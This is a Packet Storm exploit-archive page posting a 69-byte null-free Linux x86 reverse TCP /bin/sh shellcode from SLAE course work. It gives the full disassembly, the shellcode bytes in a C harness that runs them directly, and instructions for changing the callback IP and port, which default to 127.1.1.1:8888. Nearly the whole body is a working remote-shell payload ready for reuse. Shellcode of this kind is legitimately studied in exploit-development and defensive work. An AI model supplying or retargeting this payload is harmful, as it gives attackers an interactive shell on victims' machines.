what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Linux x86 Reverse Shell Shellcode

Linux x86 Reverse Shell Shellcode
Posted Jan 6, 2018
Authored by Nipun Jaswal

69 bytes small Linux x86 reverse TCP /bin/sh shell null-free shellcode that connects to 127.1.1.1:8888.

tags | shell, x86, tcp, shellcode
systems | linux
SHA-256 | a3c037f0e250702af3d83399ecd80e5c840ca64fb89654fe3614909a41547bd4

Linux x86 Reverse Shell Shellcode

Change Mirror Download
/*
Title: Linux/x86 - Reverse TCP Shell (/bin/sh) (127.1.1.1:8888/TCP) Null-Free Shellcode (69 bytes)
Description: Smallest /bin/sh Reverse TCP Shellcode(Null Free, No Register Pollution Required)
Date : 4/Jan/2018
Author: Nipun Jaswal (@nipunjaswal) ; SLAE-1080

Details:
Smallest /bin/sh based Null & Register Pollution Free x86/linux Reverse Shell TCP (127.1.1.1:8888)( 69 Bytes )
You can modify the port and IP by changing the values for IP and PORT

Note:
If You are compiling the C file itself and dont care about Bad Chars, You can reduce 2 more bytes:

Change the following lines of code:
push word 0xb822
push word 2
To:
push 0xb8220002 ---> This will make the length of the Shellcode to 67 Bytes
*/
/*Disassembly of section .text:

08048060 <_start>:
8048060: 31 db xor ebx,ebx
8048062: 53 push ebx
8048063: 43 inc ebx
8048064: 53 push ebx
8048065: 6a 02 push 0x2
8048067: 89 e1 mov ecx,esp
8048069: 6a 66 push 0x66
804806b: 58 pop eax
804806c: cd 80 int 0x80
804806e: 93 xchg ebx,eax
804806f: 59 pop ecx

08048070 <loop>:
8048070: b0 3f mov al,0x3f
8048072: cd 80 int 0x80
8048074: 49 dec ecx
8048075: 79 f9 jns 8048070 <loop>
8048077: 68 7f 01 01 01 push 0x101017f
804807c: 66 68 22 b8 pushw 0xb822
8048080: 66 6a 02 pushw 0x2
8048083: 89 e1 mov ecx,esp
8048085: b0 66 mov al,0x66
8048087: 50 push eax
8048088: 51 push ecx
8048089: 53 push ebx
804808a: b3 03 mov bl,0x3
804808c: 89 e1 mov ecx,esp
804808e: cd 80 int 0x80
8048090: 52 push edx
8048091: 68 2f 2f 73 68 push 0x68732f2f
8048096: 68 2f 62 69 6e push 0x6e69622f
804809b: 89 e3 mov ebx,esp
804809d: 52 push edx
804809e: 53 push ebx
804809f: 89 e1 mov ecx,esp
80480a1: b0 0b mov al,0xb
80480a3: cd 80 int 0x80


EDB Note: Source ~ http://www.nipunjaswal.com/2018/01/tale-of-the-smallest-shellcode.html
*/

#include<stdio.h>
#include<string.h>
#define IP "\x7f\x01\x01\x01"
#define PORT "\x22\xb8"
int main(int argc, char* argv[])
{
unsigned char code[] = \
"\x31\xdb\x53\x43\x53\x6a\x02\x89\xe1\x6a"
"\x66\x58\xcd\x80\x93\x59\xb0\x3f\xcd\x80"
"\x49\x79\xf9\x68"
IP
"\x66\x68"
PORT
"\x66\x6a\x02\x89\xe1\xb0\x66\x50"
"\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89"
"\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
printf("\nShellcode 1 Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close